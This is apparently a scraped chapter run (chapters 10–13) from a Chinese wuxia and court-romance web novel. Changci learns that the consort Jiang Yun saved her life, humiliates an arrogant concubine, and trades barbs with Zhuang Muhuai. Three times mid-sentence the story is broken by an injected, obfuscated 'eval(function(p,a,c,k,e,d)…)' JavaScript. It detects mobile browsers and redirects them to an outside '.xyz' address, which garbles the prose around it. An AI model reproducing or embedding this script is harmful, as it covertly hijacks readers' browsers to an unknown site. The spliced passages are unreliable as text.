长辞飞得好好的突然掉到别人院子里,原本还挺没面子的,正尴尬着不知说什么好,谁知这院子主人非但没有嘲笑为难她,反而还替她查验伤情,顿时就对这人生出许多好感。 “呀,胳膊划伤了。”侧妃微微蹙眉。 长辞顺着她的目光看去,果然胳膊肘外侧有一道不深不浅的划痕,微微渗了点血,这种小伤放平日里她看都不会看一眼,正想说不必管它。 侧妃却先她一步开口,柔声安慰道,“别怕,这伤口不会留疤,你先在这石凳坐下,我去取药箱来。” 还没来得及出口拦她,那人就已经急匆匆进了屋。 左右等着也无事,长辞四处打量起这座简朴的院落,正如宁王侧妃所说,院墙周围爬满了青苔,一看就是常年阴湿光照不足所致。 而且这院子与他们所居的客院仅一墙之隔,实在算不上僻静,倘若再经常遇到如江入年那般聒噪的客人,那就更显居住环境差了。再说这里离宁王的主院也不近,对于后院女眷来说,可绝对不是一件好事。 这么一看,这院子还真是……毫无所长啊。 哪像是一个侧妃的寝院。 正想着呢,那人就已经抱着药箱走过来了。她将其放在石桌上,打开卡扣,取出药膏与纱布,动作行云流水,丝毫不拖沓。 看来是经常做这些事。 她轻轻掀起长辞的衣袖,边上药边柔和一笑,“这药膏就是由方才那种叶子撵成叶浆制成的。” 长辞顺着她的目光往药框里瞥了一眼,差点没呕出来,怪不得如出一辙的难闻,原来正是那黑乎乎的玩意儿所制! 侧妃看她忍得辛苦,好声好气道:“这药膏虽然不太好闻,但见效很快的,待我上完药再用纱布缠上一圈,明日一早便能彻底好了。” 这姐姐真温柔啊。 长辞乖乖点头,顺便近距离打量眼前女子模样。她已然换下了先前在王府门口那身沾满了泥土的布衣,穿上了件白绿相间的衣衫,虽说还是很素,却衬得她格外清丽端庄。 与明殷公主不同,侧妃身上少了一丝凌厉,多了些许温婉的气质。 长辞不知何由莫名就放松了警惕,任由她给自己上药,按说自己也不是个轻信他人的性子,可她就是下意识地觉得这女子十分亲切。 难道是因为她跟明殷公主长得相似,所以让自己在这个陌生的世界里有一种见到熟人的踏实感? 还不待她想明白,就听身旁之人忽然惊呼一声,眸中的神情转而惊喜又难以置信。 “你、你是不是……长辞姑娘!” “你认识我?”长辞讶异,不可能吧,她又没来过昇州。 “你还活着!”女子激动得来回打量她,“太好了,你真的还活着!” “……”什么情况?! 那女子见长辞一脸懵怔,这才察觉自己失言,忙坐下来解释,“你不记得了吗?当日你坠入大敖山山脚奄奄一息,是我救的你。” 大敖山? 庄慕怀正在隔壁院子附耳偷听,闻言一愣,这丫头竟还去过大敖山?还有啊,她武功那么高,怎么可能会把自己弄得奄奄一息? “不是杏林堂那位公孙神医救活我的吗?” 长辞对初来时那一段经历实在没什么印象,当日她身受重伤躲进大敖山王陵,莫名其妙地进了一间屋子,因失血过多昏睡了半晌,醒来后又莫名其妙滚落山下,再之后就没有任何记忆了。 直到许久之后在杏林堂醒来,叶掌柜才告诉她,是公孙神医四处云游时恰巧救下了她。这位公孙神医虽挂牌在杏林堂门下,却可以算是个不图名利的草泽医人,常年游历九州,救死扶伤。 故而长辞醒来时并没有见到他,听叶掌柜说,神医又前往西北一带找什么药材去了。 长辞也就无从得知自己昏迷之后具体都发生了什么。 “也的确是那位神医救活了你。”侧妃看着手中的药膏,似是陷入回忆。 “半年前新帝登基,周边小国纷纷前来朝贺,贺宴结束后,我随王爷一起南下,护送吴越国的使臣回都,返程时途经两国边境的大敖山,我便是那时在山脚发现了你。” “当时你重伤昏迷,体内似有剧毒,脉象十分虚弱,我医术不精,只能先施针稳住毒气不要扩散,至于解毒,却是束手无策……” 庄慕怀微微蹙眉,大敖山三面环水,一面紧挨着吴越国,宁王侧妃既说是在大敖山脚下发现的长辞,那就说明他们当时还在吴越国内,难道说…… 这丫头是吴越人? “中途你醒过一次,我想着无论如何得先找到你的家人,便问你姓甚名谁,家住何处,可你别的一句也不答,只盯着窗外喃喃‘长辞’二字,于是我只能差人拿着画像到各处打听,看有没有谁家丢了个叫长辞的姑娘,结果也是无功而返,边境的百姓都说从没见过这么个人。” 庄慕怀抱臂靠在墙根想,也不是吴越人?难不成还是从天上掉下来的啊? 侧妃继续道:“因着护送队伍不能在边境停驻太久,我只能先带着你回了大宋。一路上虽治好了你的刀伤箭伤,可你体内的毒,一直到昇州城还是没能解开。好在你福大命大,就在我们进城之时,遇见了那位云游四海的名医,公孙先生。” “先生透过马车帘看了一眼,便说你命不该绝,问我可否将你带回江宁城杏林堂诊治,我医术不济,又居深宅大院,想救你也是有心无力,便留下些许钱财和药物给先生,先生大义,拒收了银两,只身赶着驴车带你去了江宁。” “自那之后,我就再也没见过你,也不知你……是否还活着。” 侧妃抚上长辞的手,眼神里满是喜悦,“我就知道,上天有好生之德,你一定会活过来的。” 长辞也有些动容,石头包裹了十几年的心忽而有些松动,眼前蒙了一层雾气,“上天有没有好生之德我不知道,我只知道,姐姐你有好生之德。” 一声姐姐逗笑了侧妃,她摸摸长辞脑袋,“我闺字姜云,你若不嫌弃,就叫我姜姐姐吧。” “姜姐姐。”长辞甜甜地唤了一声。 她眼睛又圆又亮,像星星似的眨啊眨的,一笑眼尾就微微往上扬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083242|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看着甚是讨喜。 姜云想起半年前那个浑身是伤命悬一线的可怜姑娘,再一看眼前这个活蹦乱跳的,心中感慨万千。她有心想问长辞怎么会受那么重的伤,又是谁对她痛下杀手? 可又怕这些正是人家的难言之隐,她也就按捺住了自己的好奇心。 “你叫长辞,那我日后便唤你阿辞可好?”姜云觉得“长辞”这名字不吉,还是不要叫得好。 “当然好呀。”她声音温柔又动听,听得长辞连连点头。 隔壁院内。 “哥,你堂堂七尺男儿,怎么还听人墙角啊!”江入年将屋里屋外看不顺眼的地方换了个遍,这才走入院中,看见自家表哥竟趴在墙上,听隔壁的女儿家说体己话。 “嘘。”庄慕怀示意他噤声。 “你这么急着关心她,直接过去看不就行了嘛?”方才长辞从墙上掉了下来,瞧他表哥那着急样,连忙从屋檐飞奔下来,上前一瞧,看她并无大碍又默默折了回来。 江入年算是看明白了,这情之一字果真都是当局者迷,旁观者清。 “谁急了?”庄慕怀投过去一记警告的眼神。 江入年连连摇头,嘀咕道,这世上最硬的坚石都没他表哥嘴硬。表面说什么她不过就是好玩而已,实际上谁知道是不是早就爱慕人家了。虽然表哥总说自己年幼尚不懂男女之事,可他话本子却一点没少看啊!那里头江湖儿女的情情爱爱哪一个不是如此?什么我爱你却不得不杀你,什么恨你入骨却舍不得伤你分毫,爱恨纠葛,肝肠寸断。 总之就是叫人十分搞不懂。 长辞得知是姜云救的她之后,正要问问那日在大敖山,自己昏迷时周围可否有什么异象?还没来得及开口,就听院门口响起一道略有些耳熟的女人声音。 “哎呀,姐姐还真是不把王爷放在眼里……” 那女子神情略微夸张,“这阖府上下都知道王爷喜静,惯不爱陌生人上门叨扰,姐姐这是做什么,捡了个野丫头便罢,怎么还带到府里来了,这是王府,可不是什么阿猫阿狗都进得了的破山庙。” 长辞眯眼一瞧,这女人头戴金钗,耳挂金坠,打扮得甚是张扬,尤其是右腕上那个明晃晃的大金镯子,妥妥一个暴发户啊! 难怪声音让人熟悉,可不就是方才堵在门里不让姜云进去的那位么? 好啊,没去找你,你倒是自己找上门来了!长辞用嘴吹起鬓角碎发,撸起袖子就要上前教训她。 谁知手腕被人一抓,生给拽了回来。 姜云敛起笑意朝她摇摇头,小声道:“这是王府得宠的侍妾,向来跋扈,还是少惹为好。” 说罢又正色看向门口那人,“这位姑娘同隔壁众人一应都是府中贵客,你最好识趣些,别冲撞了贵人,到时候惹得王爷不快。” “哎呦,我好害怕呀。”那满身金饰的女人装模作样地捂着胸口,一扭一扭地朝院里走来。 姜云蹙眉,“你以为我在吓唬你?” 那侍妾仿佛听到了什么天大的笑话,扶着腰肢笑得发颤,“哈哈哈就这个野丫头,也敢说是府中贵客?姐姐开玩笑也要有个度才是。” 她才不信姜云口中所言,这丫头灰头土脸的,衣裳也是普通料子所制,袖口还破着个洞,怎么可能是王爷的客人,这姜云往日里也没少干这种事,出门但凡见着患了病的就往回捡,也不管那人是死是活,身上有没有什么疫症,通通都要领回来救治。 想必这丫头也是如此。 11. 第 11 章 长辞低头看了眼从墙上掉下来时被树枝刮破的袖口,心下了然,合着这是把自己当成叫花子了! 她对穿衣打扮一向不在行,也从不拘泥于朱钗粉黛,衣裳么,穿起来方便打架的才是上乘,至于是不是什么金丝锦绣,她才不在乎。 长辞挑了挑眉,想起在门口跟大个子侍卫闲聊时,听他说起王爷去年纳了个妾室,最是刁蛮,平日里下人们见了她都是绕着走的。 这妾室名叫瞿小宛,乃是扬州首富之女,自小娇生惯养着长大,要什么有什么,有一日,她偶遇了来扬州办事的宁王,自此陷入爱恋不可自拔,吵着闹着要嫁给他,奈何那时宁王已有两门侧妃,王妃之位她自是不够格的,那便只剩下妾室之位。 瞿小宛觉着自个儿是遇上了真爱,别说妾室,便是通房也做得。那位瞿首富颇为无奈,只得配上厚厚的嫁妆,求宁王纳了自家小女。 且说这瞿小宛也是有些本事的,自打来了王府,总能留得王爷在自己房中过夜。她性子原本就骄纵,得了宠爱,便更是无法无天了。 长辞“啧啧”两声,也是,侧妃她都不放在眼里,更别提她这个没名没姓的“叫花子”了。 “本夫人问话你竟敢不回?!” 瞿小宛盘问了几句,谁成想那丫头竟然纹丝不动,看都不看她一眼,顿时又气又诧异,心说这人该不会是吓傻了吧! “来人!” “瞿夫人。”外面闻声进来两个仆役,朝瞿小宛行了个礼。 “给我将这个野丫头杖打二十大板,然后扔出王府外去!”死丫头胆敢对她不敬,那就先吃点苦头再说! 院墙另一侧的庄慕怀听到此处,忍不住替宁王这位妾室捏了把汗,惹谁不好,偏偏惹上长辞这疯丫头。 姜云却不知晓这些,只把长辞当自家小妹看,此时她有难,自己当然不能不管。瞿小宛以往对她口头相讥也就罢了,她不愿同这种人计较,可她万万不能叫这人伤了阿辞。 “慢着。”姜云挡在长辞身前,“敢问瞿夫人因何缘由要杖责长辞姑娘?” “理由啊。”瞿小宛盈盈一笑,仿佛长辞在她眼里只是个把玩的物件,“她不听话,我瞧着不顺眼,看着生厌,这理由行不行啊?” 说着转身又对那两个仆役道,“你们尽管动手,对外只管说这野丫头是来府里偷东西的就是。” 眼见那两个仆役上手要抓长辞,可长辞却老神在在一动不动,庄慕怀纳闷,这丫头今日是转性了么,这都能忍? 难道是不想给她刚认的那位姜姐姐惹事? 庄慕怀脚尖一踢,两粒石子霎时飞入手中,他跃上墙头,正要将其掷向院中那两个呆头呆脑的仆役。就在这时—— 长辞忽然起身一拍石桌,一副恍然大悟的样子,“瞿夫人!原来你就是那个床上功夫了得的瞿夫人啊!” 庄慕怀:“……” 隔壁正在院内喝茶的江入年:“噗!” “你、你说什么?!”瞿小宛简直不敢相信自己听到了什么,顿时恼羞成怒,大叫一声,“你这个贱人!胆敢言语侮辱本夫人!” 看这反应,还真是她啊。 今日早些时候,长辞在街上同昨日那个大婶子闲聊,期间说起城东的屠夫张在外面偷人一事,大婶悄悄告诉她,这屠夫张所偷之人不是别人,正是宁王府的一位妾室,名叫徐夫人还是于夫人。 奈何大婶说话有口音,具体长辞也没太听太清。此刻细细想来,感情人家是叫瞿夫人! “哈哈哈哈哈。”长辞一拍大腿,乐了,心说这热闹叫她看的,真是得来全不费工夫。 庄慕怀一看那丫头两眼放光,就知道她指定又一肚子的坏水,索性扔了石子,直接坐在墙头看她又准备作什么妖。 “听说你跟城东的屠夫张交往甚密?”长辞好奇地不得了,“哎,你们俩什么关系呐,说说呗,听过拉倒,绝不外传。” 此话一出,惊得瞿小宛脸色发青,忙朝那俩仆役道,“出去,院外候着!” 姜云亦是满脸惊诧之色,扯了扯长辞的袖口,将她拉到一旁,十分担忧道,“阿辞,别胡说,这瞿夫人可不是好相与的,你怎敢造她的谣?” 长辞拍拍她肩膀,叫她放心。 本以为瞿小宛会直接冲过来要杀了她,谁知她只是狠狠地挖了自己一眼,“你听谁说的?” “没听谁说呀。”长辞坐在凳子上往后一靠,“本姑娘凭本事自己瞧见的。” “瞧见什么?” “自然是瞧见你床上功夫不错呀。”长辞翘着个二郎腿,语气跟个市井流氓似的,要是嘴里再叼根狗尾巴草就更像流氓了。 “你胡说!”瞿小宛瞪大双眼,那神情似要将长辞给生吞活剥了,“你这个贱人,我杀了你!我要叫王爷杀了你!” 她嘴里污言秽语说个不停,突然“啪”一声,一记响亮的耳光划破长空。 “嘴巴放干净些。”长辞皱皱眉头有些不高兴,心说要么好好说话,要么打一架,骂人干什么! 这突如其来的一巴掌可算是把瞿小宛给打蒙了,只见她跌坐在地上,捂着火辣辣的左脸愣愣地看向眼前之人,嘴里发不出一个字来。 这么弱? 长辞揉揉手腕,还好这一巴掌她只用了三分力,要是使上全力,那还不直接将她的头给打掉了。 正在墙头看热闹的庄慕怀盯着那五个指头印,不自觉地摸了摸自己的脖子,心道这女人力气也忒大了,日后可千万不能挨她巴掌。 瞿小宛别说是被人打了,自小就是碰都没被人碰过一下,今日冷不丁被打的晕头转向,眼泪哗啦啦就流了下来。 她不敢再看长辞,只能恶狠狠瞪着姜云,把气全撒到她身上。 “这疯女人是你找来的是不是?肯定是专门来毁我清誉的,你给我等着!待王爷归府,我定言明真相,叫他休了你这毒妇!” 谁是毒妇啊!长辞惊得张大嘴巴,“你这倒打一耙的功夫未免也太厉害了。” “谁倒打一耙?你敢说你不是姜云找来陷害我的?她不过就是嫉妒我得王爷宠爱,才出此下策故意叫人毁我名节,为的就是让王爷厌弃我而重视她!” “贱人!姜云你这个小贱人!” 真是聒噪,长辞环顾四周。 “你要干什么?!我告诉你,你要是敢动我一根汗毛,就证明我方才所说句句属实,你敢打我就是心虚!我定要如实禀明王……啊啊啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083243|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 长辞转转脚踝,瞅准府中一棵最高最大的老槐树—— 一脚将其踹到树梢。 “啊啊啊!”一个尖锐的叫声随风渐远。 拍拍手掌,长辞心满意足地看向远处挂在树梢上的那个女人,心想这下终于安静了。 江入年方才衣服被茶水打湿,刚换了件干净的走出来,冷不丁就看见个什么东西急速飞了出去,挂在树梢一晃一晃的,不禁好奇,抬头问还在墙头的庄慕怀。 “这什么玩意?风筝啊?哎呀形状还挺别致。” 庄慕怀挑眉,“你再好好看看。” “我勒个去!”江入年仔细一瞧,那不是个人么! 话音刚落,王府就一下子乱了起来,下人们有搭梯子的,有爬树的,有施展轻功的,各个都惊恐地跑去救人。虽说这个瞿夫人平日待他们十分薄情,可再怎么说也是个主子啊,总不能见死不救。 江入年张着嘴巴怎么也合不上,“这叶长辞真是疯了!” 他翻过墙,不可思议地看着丝毫不惧的作案凶手,“你胆子也太大了,连宁王府的人都敢踹,你就不怕宁王回来了找你算账?” 等等!这一脚须得内力极其深厚之人才能完成,叶长辞是怎么做到的? “哥,这究竟怎么一回事啊?” “不知道,我什么都没看见。”庄慕怀睁眼说瞎话,说完就拍拍屁股走了。 姜云似是下了什么决心一般,朝江入年道:“此事与阿辞无关,是我,是我踹的瞿夫人。” “姜姐姐,别什么事情都乱认。”长辞抢过话来,“你一个弱女子哪有这个脚力?” 江入年试探,“这院子一共就你们俩,不是姜妃,难道真是你啊?” “怎么会是我?”长辞一拍桌子,石桌应声裂成两半,“我也是弱女子,看不出来吗!” “……”江入年脖子一缩,忙道:“看、看得出!” 长辞笑眯眯地走到他跟前,拍了拍他的肩膀,“你还小,很多事说出来怕吓坏你,你只需知道方才之事,都是怪力乱神所致,而并非是人为。你想啊,正常人谁能有这样的脚力,可将一个成年人踢到数仗高的树梢?” 话是这样没错,可总觉得哪里不对劲,江入年半信半疑,嘀嘀咕咕回客院去了。 姜云原本还担心瞿夫人会为难长辞,直到这一脚下去,她才意识到长辞的内力有多深厚,这下暗暗放了心,心道日后就算瞿夫人要报复,想必她也能应付得过来。 …… 断断续续下了大半个月的春雨终于晴了几日,天蓝水清,空气中混着淡淡的草木香,让人心情止不住地畅快起来。 长辞亦不例外。这几日她在宁王府吃吃喝喝,还时不时同姜云去逛个街,或是与庄慕怀逗逗嘴,听张行简讲讲历朝往事,吓唬吓唬江入年,可以说是惬意得不能再惬意了。 想起在钟离国的那些年岁,这平凡的日子竟舒心地宛如一场大梦。 长辞偶尔也在想,别回去了吧,国都破了,还回去干什么?可无数次从噩梦中惊醒,眼前总会浮现那血淋淋的四个大字。 长辞永绝…… 长辞永绝,这四个字她究竟要如何才能释怀? 12. 第 12 章 大宋街市繁华,人群熙熙攘攘,商肆林立。 城中一个裁缝铺里,长辞立在偌大的店面中央吃惊不已,这、这也太夸张了吧……只见四处绫、罗、织锦、成衣各种花色、各种样式,令人目不暇接,看都看不过眼。 姜云挑了十好几件成衣让长辞去试,手上还拿着块上好的料子,打算给她制身轻便的襦裙。 “这么多?!” 长辞拗不过,只能耷拉个脑袋一一试遍,边穿边抱怨,这穿衣打扮真是比打架还要累人。 姜云自是铁了心地要好好将长辞打扮一番,前几日那瞿小宛一口一个“野丫头”地叫,不就是欺负阿辞衣着素朴么,那她就让那个人瞧瞧,什么才是真正的翩若惊鸿。 她这个人向来不爱惹事,别人欺她三分,她也是能忍则忍,能让则让,但阿辞不同,这孩子死里逃生,孤苦伶仃的,绝不能再让人给欺负了。 “我不行了,饶了我吧!”长辞被铺里的妆娘捯饬来捯饬去,头都要晕了。 那妆娘才不管,一拍她屁股,“转过去。立定,对,收腹,再收,再收……” 长辞吸了好大一口气,脸憋得通红,“收、收不住了!”紧接着“呼”一声吐出口气,“不行不行,我要死了。” 几个妆娘上下其手,“好好一个美人坯子,瞧都被自个儿糟践成什么样了,穿的土里土气,多少姑娘想要你这张脸啊,都还没有呢!” 长辞在心里呐喊,谁想要啊,赶紧给她吧,这罪她可不想受了。趁着那妆娘转身的空当,忙朝着前面喊,“姜姐姐,救我!” 姜云以为出了什么事,放下手中一块轻纱急忙就走到帘子后头。末了一笑,朝妆娘道:“我这位妹妹娇弱,劳烦几位下手轻些。” 说罢几人手头上的劲儿确实是松了些,饶是如此,长辞还是被折腾了一个多时辰才算结束。 终于重见天日。 两人走在街上,引得路人纷纷驻足。姜云一脸慈爱地看着长辞,对她这身装扮满意的不得了。长辞则是饿得饥肠辘辘,买了两个大肉饼攥在手里吃。 边吃边凶一旁的男子,“看什么看!没见过美人啊!再看给你眼珠子挖了。” 路边的男子纷纷摇头,这美人不说话还好,一说话和城西那泼妇李四娘又有什么两样! “阿辞,不可如此。行为要得体,举止要端庄,这样那瞿夫人才不会轻看你。” “姜姐姐,你这想法可不对。” 长辞嘴里塞着肉饼,说话含混不清的,“一个人要诚心找你的茬,管你是美是丑,是贫是富,就总能挑出错来,你管那瞿小宛干什么。” “再说世人爱美那是他们的事,我不打扮是我的事,何必要费尽心思成他人之美,倒叫自己吃了苦头,谁要瞧不起我那就别瞧呗,我又不在乎。” 姜云细心将长辞一绺长发别到耳后,随后说:“此话在理。可打扮得体也不全然就是给别人看的,世间女子不止为悦己者容,亦可为自己而容,你每天打扮得漂漂亮亮的,心情多好呀。” 长辞还是不能苟同,心道我打不打扮心情都挺好,面上却乖乖称是。 说着两人又心情颇好地跑去逛了胭脂铺。 全然不知此刻一座酒楼的顶层栏杆处正站着个人。 那人隔着重重人群,死死盯着街上笑若桃花的姑娘,那眼神似暗夜里阴狠的毒物,令人毛骨悚然。 这边两人终于逛累了,吃了牛肉面,又喝了甜汤,长辞打了个饱嗝,接过姜云递来的手帕擦了擦手。 她站起身四处张望一番,似乎是看到了什么人,眼神一亮,往街角的方向走了过去。 “喂,小鬼。” “你谁啊?”被叫做小鬼的小乞丐一脸不满,懒洋洋地躺在巷口的干草堆上,丝毫没有起身的意思。 “是我,这么快就不认识了?”长辞胡乱拨开满头的朱钗玉饰,露出那双杏仁大眼。 那小乞丐瞪眼一瞧,一骨碌爬了起来,“奶奶的,你打扮成这模样我还真没认出来!哎,都说了要叫我枭哥,不准叫小鬼!” 长辞双手叉腰,“废话少说,这几日让你办的事怎么样了?” 小乞丐伸出一只手,“只要给钱,就没有办不成的事儿。” 长辞往他手里塞了一两银子。小乞丐在嘴里咬过几下才揣进怀里,叼着根草棍左瞧右看,见四下没人才低声道:“你让我跟踪的那个人,近几日都没再去过明春坊,也没差人找过叫袖娘的那个歌女,不过……” “不过什么?” “他手下的侍卫倒是往药铺里跑得勤,我瞧着有些奇怪,他们之中又没人生病,不知去药铺干什么?” 长辞瞬间就想到了之前自己给庄慕怀下媚药的事,一转眼珠,“还能干什么,害人呗。” “害谁啊?” “自然是我咯。”长辞指了指自己。 小乞丐若有所思,“你这么一说我倒是想起来了,昨日我听一个兄弟说,那个人这几日满心满眼地打听一个人,是个叫长辞的姑娘,喂,该不会就是你吧。” “正是老子。” “真是你啊!那你可要小心了,这种人我见得多了,硬碰硬他没什么本事,行那些下三滥的招数倒是很在行,小心他阴你。” “行啊你,小小年纪见识倒挺广。”长辞笑笑,脸上没有半分担忧之色。 小乞丐见她不以为然也没再说什么,摆摆手跑了,“那我走了,你自己多加小心,有生意记得来石桥下,报枭哥我的名字!” 直到他蹿入了巷尾不见身影,长辞这才转了个身准备打道回府。 半晌都没开口的姜云看着空无一人的巷子,不由叹息,“这孩子半大不大,也就十一二岁的年纪,说话行事却老练得如大人一般,看着都叫人心疼。” 长辞跟她并排走着,闻言没心没肺地笑了两声,“没爹没娘的人,哪还分什么大人跟孩子,甭管说什么做什么,只要能活下去就行了呗。” 她这话说的风轻云淡,姜云却听出了几分心酸,半年前在吴越边境救下长辞时,她派人找了好久都没找到她的家人,当时姜云就想,这孩子多半也是个没爹娘的孤儿罢。 如今再次相逢,也从未听她提起过半句父母兄姊之类。阿辞不说,她自然也不好去问。 姜云回过神,怕长辞想起什么伤心事,忙转了个话头,“对了阿辞,方才你们所说的那个人是谁啊?” 长辞停下脚步,附在她耳边小声道:“薛通。” “薛通?”姜云眸光一滞,脸色一下子凝重了起来,“此人恶名昭著,极其难缠,你怎么会惹到他?” 这人可不是瞿小宛,性子娇纵些,说两句难听的话也就罢了,这人对付人的手段简直、简直是…… “怕他作甚?”长辞拍拍姜云的手,“没事儿,这不是还有庄慕怀么,我跟他还算有点交情,他武功那么高,一定会保护我的。” 说着又将福来居雨夜救歌女的事给姜云讲了一遍,只是怕姜云为她担心,故意隐去了自己动手的部分,只说庄慕怀武艺如何高超,那玉笛如何厉害,不费吹灰之力便将薛通给制服了。 姜云用手绞着帕子,还是不大放心,“你这几日还是别出府了,实在有事要出门,就叫上几个侍卫跟着。” “姜姐姐怎么这么怕他?” 长辞不解,薛通此前又没来过昇州,按理说昇州百姓对他的了解皆是传言,传言自然不如亲眼所见震慑力大,姜云好歹也是高门大户的贵夫人,不至于如此惊弓之鸟吧? 还是说……她对薛通的恐惧并非仅仅因为传言,而是曾经亲眼见到过什么? “我不是怕那歹人,我是觉得……”姜云欲言又止,长叹了一口气,“唉,我是觉得,庄公子又岂是个可托付的?” “怎么说?”长辞眼珠一转,忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083244|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了兴致。 “我也看不太懂庄公子这个人。” 姜云摇摇头,“他父亲是榆林巷那位,同中书门下平章事兼兵部尚书庄衡庄大人,母亲乃是高门贵女,双亲恩爱家无妾室,按说该是其乐融融的一家,可……” “可庄公子这些年来干过无数荒唐事,没人能知晓是为什么。我也是三年前嫁到宁王府时,才见过他几面,听闻他自幼便与王爷交好,还曾救过王爷的命,王爷对他极好,总向崔管家说起他,有什么罕见的玩意儿也是第一时间托人送去汴京给他,可庄公子,我却瞧着对谁都是没有心的。” “何以见得?” “这话我也不知该怎么说。”姜云自察有些失言,有些懊悔,“阿辞,我也不是有意要说庄公子坏话,你们是朋友,我本不该说这些,只是……” “我明白。”长辞乐呵呵地接过话茬,“你是怕他靠不住,没准什么时候就会坑我一把对吧?” 这话说的够直白,姜云不好意思说是,也不好意思说不是,半晌还是没忍住点了点头。 “我知道凭白揣测旁人不对,但庄公子心里想什么,没人能知道,你万事多留个心眼,切不能被他骗了。” 姜云实在是对庄慕怀没什么好印象。之前就骗阿辞说自己是什么大户人家的贴身侍卫,现在又总是缠着她,也不知道打的什么主意,总之就是一定要防着他! “阿嚏!” 庄慕怀正在湖心亭喂鱼,冷不丁打了个喷嚏,心道午后太阳暖烘烘的怎么还能受凉了,正想着呢,就见远处走来个人。 不对,是走来了个天上谪仙。 那一身大红衣袍翩然而起,金丝镶边在日光的掩映下闪闪发光,巧笑倩兮,美目盼兮。 她站在池塘边的木桥上只是挥了挥手,庄慕怀手中的鱼食就一下子尽数打翻在湖里,呆呆地立在原地动弹不得了,脑袋里忽然就蹦出那句“回眸一笑百媚生,六宫粉黛无颜色。” 庄慕怀的心似乎化成了一池春水,雨点般的鱼食一一落入池中,在他心里泛起大大小小的涟漪。 “喂,装不坏!” 突如其来的声音打断了庄慕怀的遐想,将他一把扯回了现实。 “咳咳。”庄慕怀低头清了清嗓子,又恢复了往日那副欠揍的模样,“呦,我当是谁呢,怎么今日不当恶女,改做明艳美人儿了?” “少贫。”长辞撸起宽大的袖子,一把抓住庄慕怀,“还钱!” “还什么钱?” “你之前给我说什么来着?说你是个拿月例的苦侍卫,要养活一大家子祖父祖母七大舅八大姨,就因为我伤了你,让你一个月没法上工,才让我赔偿你一大家的伙食费,一共三十六两七钱,是也不是?” “是……吗?” “敢说不是!”长辞气性大,见他不承认一掌就劈了过来。还好庄慕怀躲得及,要不然这脑袋下一刻就开了花了。 “喂,你来真的!”庄慕怀边躲边问,“我又怎么惹着你了?” 长辞追在后面指着他鼻子道,“你要是侍卫,那榆林巷庄衡庄大人家的独子是谁!是阿猫还是阿狗啊。” 得!怎么忘了姜侧妃这茬,他原本还想再陪她玩玩,竟这么快就叫她给知道了。罢了,他身份本来也就不是什么秘密,汴京来的多半都认识他,藏也藏不了多久。 只是月前他找长辞讨要安抚费时,这人鼓着腮帮子一个一个数铜板那样子实在招笑,这才忍不住多逗她几日。 谁知道这姑娘这么记仇。 “又打,天天打还打不够啊!”江入年原本在屋里午睡得好好的,结果被院里的刀剑声给吵醒了,嘟嘟囔囔地扯过被子将脑袋紧紧裹住,不一会儿又沉沉睡去。 隔壁院内。 姜云盯着院墙上打斗的两人陷入沉思,这红衣美是美,可打起架来确实挺不伦不类的,改明儿得给阿辞换上一身活泼的才行! 13. 第 13 章 翌日一早。 长辞在姜云的院里用过朝食,哼着曲儿,提着盒王府特供的金桔山楂酥往隔壁院走去,打算拿给张行简尝尝。 今日她穿着一身鹅黄色的衣裳,短褙和百迭裙上还簪着盈盈之色的樱花,这可都是姜云专门挑的,不仅如此,姜云还给她扎了两个圆圆的朝天髻,配上毛茸茸的发饰,走来路来一晃一晃的,灵动极了。 张行简等人此刻正在正厅用膳,见长辞走来皆是一愣,心想这是谁家府上乖巧伶俐的闺女,这般好看。 还是庄慕怀先反应过来,拍了拍他身旁的位置,“怎么不穿红衣又改当小仙女啦?我长这么大还从来都没见过仙女。” 长辞叫他看得耳根子微微发红,面上却没表现出来,扬起下巴道:“我美吧?” “美。” “看一次十两!” “十两就十两。”庄慕怀故意挑眉逗她,“值了。” 这该死的装不坏,竟敢用眼神撩拨她!今天非将他抽筋扒皮不可!长辞纵身一跃,从桌头跳到了桌尾,一把抓住庄慕怀的衣襟,伸手在他怀里掏银子。 庄慕怀一个激灵坐直了身子,反手握住长辞手腕,“我说你一个姑娘家,能不能有点姑娘样?!” “姑娘家什么样?” “反正不是你这样。” 长辞手腕灵活往上一翻,挣脱出庄慕怀的钳制,两指一并,轻巧地从他衣襟里捏走两张银票。 在手上一掸,眨眼笑道:“我什么样,姑娘家就是什么样。” 庄慕怀作势要抢,长辞拔腿就逃,两个人围着饭桌打来打去,而江入年依旧面不改色地小口小口喝着热粥,显然已经从最开始的阻止,到后来的躲避,再到如今的全然麻木了…… 再说张行简,刚刚还沉浸在一种“吾家有女初长成”的欣慰当中,谁料还没一息的功夫,那闺女就上房揭瓦去了。 